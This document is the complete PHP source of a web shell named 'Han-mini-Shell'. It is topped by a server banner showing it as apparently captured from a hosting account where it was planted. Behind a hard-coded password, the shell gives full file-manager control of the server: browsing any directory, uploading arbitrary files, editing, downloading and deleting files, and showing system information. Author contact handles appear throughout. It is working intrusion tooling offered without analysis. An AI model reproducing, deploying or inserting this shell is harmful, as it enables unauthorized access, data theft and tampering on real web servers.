Server : LiteSpeed System : Linux us-phx-web1202.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64 User : u615232177 ( 615232177) PHP Version : 8.1.33 Disable Function : NONE Directory : /home/u615232177/domains/adesmiley.com/public_html/admin41345/ |
<?php
session_start();
error_reporting(0);
set_time_limit(0);
$password = "minishellhan0xday";
$shell_name = "Han-mini-Shell";
$home_dir = "/home/ihealthfc/rugby-championship.ihealthfc.com";
$profile = [
'insta' => 'murathan.mrx',
'tele' => 'kdeneonn',
'git' => 'Cyberrr23113'
];
if (!isset($_SESSION['han_auth'])) {
if (isset($_POST['pass']) && $_POST['pass'] === $password) {
$_SESSION['han_auth'] = true;
header("Location: ?dir=".urlencode($home_dir)); exit;
}
die('
<!DOCTYPE html>
<html>
<head>
<title>LOGIN | '.$shell_name.'</title>
<style>
body { background:#000; color:#0f0; font-family:monospace; display:flex; justify-content:center; align-items:center; height:100vh; margin:0; }
.login-box { border:1px solid #0f0; padding:40px; text-align:center; background:#050505; box-shadow:0 0 30px #030; width:320px; }
h1 { margin:0 0 20px 0; letter-spacing:3px; font-size:22px; color:#0f0; }
input[type="password"] { background:#000; color:#0f0; border:1px solid #0f0; padding:12px; width:100%; text-align:center; outline:none; margin-bottom:15px; box-sizing:border-box; }
.btn-login { background:#0f0; color:#000; border:none; padding:12px; cursor:pointer; font-weight:bold; width:100%; transition: 0.3s; }
.btn-login:hover { background:#000; color:#0f0; border:1px solid #0f0; }
.telegram-btn { display:block; margin-top:20px; color:#0088cc; text-decoration:none; font-size:14px; border:1px solid #0088cc; padding:10px; transition: 0.3s; }
.telegram-btn:hover { background:#0088cc; color:#fff; }
.profile-links { margin-top:20px; font-size:11px; color:#444; }
</style>
</head>
<body>
<div class="login-box">
<h1>'.$shell_name.'</h1>
<form method="post">
<input type="password" name="pass" placeholder="PASSWORD" autofocus>
<input type="submit" value="ENTER SYSTEM" class="btn-login">
</form>
<a href="https://t.me/'.$profile['tele'].'" target="_blank" class="telegram-btn">TELEGRAM: @'.$profile['tele'].'</a>
<div class="profile-links">
By Cyberrr23113 | Github: '.$profile['git'].'
</div>
</div>
</body>
</html>');
}
if (isset($_GET['logout'])) { session_destroy(); header("Location: ?"); exit; }
$current_dir = isset($_GET['dir']) ? realpath($_GET['dir']) : $home_dir;
if (!$current_dir) $current_dir = getcwd();
$current_dir = str_replace('\\', '/', $current_dir);
chdir($current_dir);
$status_msg = "";
if (isset($_FILES['u'])) {
if (move_uploaded_file($_FILES['u']['tmp_name'], $current_dir.'/'.$_FILES['u']['name'])) {
$status_msg = "<div style='color:#0f0; font-weight:bold; margin-bottom:10px; border:1px solid #0f0; padding:10px; background:rgba(0,255,0,0.1);'>Başarıyla yüklendi.</div>";
} else {
$status_msg = "<div style='color:#f00; font-weight:bold; margin-bottom:10px; border:1px solid #f00; padding:10px; background:rgba(255,0,0,0.1);'>Yükleme başarısız.</div>";
}
}
if (isset($_GET['del'])) {
if(is_file($_GET['del'])) unlink($_GET['del']);
header("Location: ?dir=".urlencode($current_dir)); exit;
}
if (isset($_POST['save_f'])) { file_put_contents($_POST['fn'], $_POST['c']); }
if (isset($_GET['dl'])) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename='.basename($_GET['dl']));
readfile($_GET['dl']); exit;
}
function getPerms($f) {
$p = fileperms($f);
$i = (($p & 0x4000) == 0x4000) ? 'd' : '-';
$i .= (($p & 0x0100) ? 'r' : '-').(($p & 0x0080) ? 'w' : '-').(($p & 0x0040) ? 'x' : '-');
$i .= (($p & 0x0020) ? 'r' : '-').(($p & 0x0010) ? 'w' : '-').(($p & 0x0008) ? 'x' : '-');
$i .= (($p & 0x0004) ? 'r' : '-').(($p & 0x0002) ? 'w' : '-').(($p & 0x0001) ? 'x' : '-');
return $i;
}
function breadcrumbs($path) {
$parts = explode('/', trim($path, '/'));
$cum = ""; $out = ["<a href='?dir=/'>[ / ]</a>"];
foreach ($parts as $p) { $cum .= "/".$p; $out[] = "<a href='?dir=".urlencode($cum)."'>$p</a>"; }
return implode(" / ", $out);
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title><?php echo $shell_name; ?></title>
<style>
body { background:#000; color:#fff; font-family:monospace; margin:0; padding:15px; }
a { color:#fff; text-decoration:none; }
a:hover { color:#0f0; text-decoration:underline; }
.wso-box { border:1px solid #333; background:#0a0a0a; padding:15px; margin-bottom:15px; }
.profile-card { float: right; border: 1px solid #0f0; padding: 10px; background: #001100; min-width: 220px; }
.profile-card b { color: #0f0; display: block; margin-bottom: 5px; border-bottom: 1px solid #0f0; font-size: 14px; }
.profile-card a { color: #fff; font-size: 11px; display: block; margin: 5px 0; }
.info-table td { padding: 2px 10px 2px 0; font-size: 12px; }
.path { color:#0f0; font-size:14px; margin: 15px 0; padding: 10px; background:#111; border-left: 5px solid #0f0; }
.path a { color: #fff; font-weight: bold; }
.btn { background:#000; color:#0f0; border:1px solid #0f0; padding:4px 12px; cursor:pointer; font-weight:bold; font-size:11px; }
.btn:hover { background:#0f0; color:#000; }
table { width:100%; border-collapse:collapse; margin-top:10px; }
th { background:#111; color:#0f0; padding:10px; border:1px solid #333; text-align:left; }
td { padding:8px; border:1px solid #222; }
tr:hover { background:#0d0d0d; }
textarea { width:100%; height:500px; background:#000; color:#fff; border:1px solid #0f0; padding:10px; font-family:monospace; outline:none; }
.clear { clear: both; }
</style>
</head>
<body>
<?php echo $status_msg; ?>
<div class="wso-box">
<div class="profile-card">
<b>ID: C0de by HaN</b>
<a href="https://instagram.com/<?php echo $profile['insta']; ?>" target="_blank">📸 Instagram: @<?php echo $profile['insta']; ?></a>
<a href="https://t.me/<?php echo $profile['tele']; ?>" target="_blank">✈ Telegram: @<?php echo $profile['tele']; ?></a>
<a href="https://github.com/<?php echo $profile['git']; ?>" target="_blank">🛠 GitHub: <?php echo $profile['git']; ?></a>
</div>
<table class="info-table">
<tr><td><b style="color:#0f0;">System:</b></td><td><?php echo php_uname(); ?></td></tr>
<tr><td><b style="color:#0f0;">Software:</b></td><td><?php echo $_SERVER['SERVER_SOFTWARE']; ?></td></tr>
<tr><td><b style="color:#0f0;">PHP:</b></td><td><?php echo phpversion(); ?></td></tr>
<tr><td><b style="color:#0f0;">User:</b></td><td><?php echo get_current_user(); ?> (<?php echo getmyuid(); ?>)</td></tr>
</table>
<div style="margin-top:15px;">
<a href="?dir=<?php echo urlencode($home_dir); ?>" class="btn">HOME</a>
<a href="?logout=1" class="btn" style="color:red; border-color:red;">LOGOUT</a>
</div>
<div class="clear"></div>
</div>
<div class="path">
PWD: <?php echo breadcrumbs($current_dir); ?>
</div>
<div class="wso-box">
<form method="post" enctype="multipart/form-data">
[ UPLOAD FILE: <input type="file" name="u">
<input type="submit" value="GO" class="btn"> ]
</form>
</div>
<?php if (isset($_GET['edit'])): ?>
<div class="wso-box">
<h3 style="color:#0f0;">Editing: <?php echo basename($_GET['edit']); ?></h3>
<form method="post" action="?dir=<?php echo urlencode($current_dir); ?>">
<input type="hidden" name="fn" value="<?php echo $_GET['edit']; ?>">
<textarea name="c"><?php echo htmlspecialchars(file_get_contents($_GET['edit'])); ?></textarea><br><br>
<input type="submit" name="save_f" value="SAVE" class="btn">
<a href="?dir=<?php echo urlencode($current_dir); ?>" class="btn" style="color:red; border-color:red;">CANCEL</a>
</form>
</div>
<?php else: ?>
<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Perms</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td>📁 <a href="?dir=<?php echo urlencode(dirname($current_dir)); ?>">.. [ Parent Directory ]</a></td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<?php
$items = scandir($current_dir);
foreach ($items as $item) {
if ($item == "." || $item == "..") continue;
$p = $current_dir . '/' . $item;
$is_d = is_dir($p);
$sz = $is_d ? "DIR" : round(filesize($p)/1024, 2)." KB";
$perm = getPerms($p);
$color = is_writable($p) ? "#0f0" : "#f00";
echo "<tr>";
echo "<td>" . ($is_d ? "📁 <a href='?dir=".urlencode($p)."'>$item</a>" : "📄 $item") . "</td>";
echo "<td>$sz</td>";
echo "<td><span style='color:$color'>$perm</span></td>";
echo "<td>";
if (!$is_d) {
echo "<a href='?edit=".urlencode($p)."&dir=".urlencode($current_dir)."' style='color:#0f0;'>[Edit]</a> ";
echo "<a href='?dl=".urlencode($p)."' style='color:#aaa;'>[Dl]</a> ";
}
echo "<a href='?del=".urlencode($p)."&dir=".urlencode($current_dir)."' style='color:red;' onclick='return confirm(\"Sure?\")'>[Del]</a>";
echo "</td>";
echo "</tr>";
}
?>
</tbody>
</table>
<?php endif; ?>
<div style="text-align:center; margin-top:50px; color:#222; font-size:11px; border-top:1px solid #111; padding-top:10px;">
<?php echo $shell_name; ?> | Code By HaN
</div>
</body>
</html>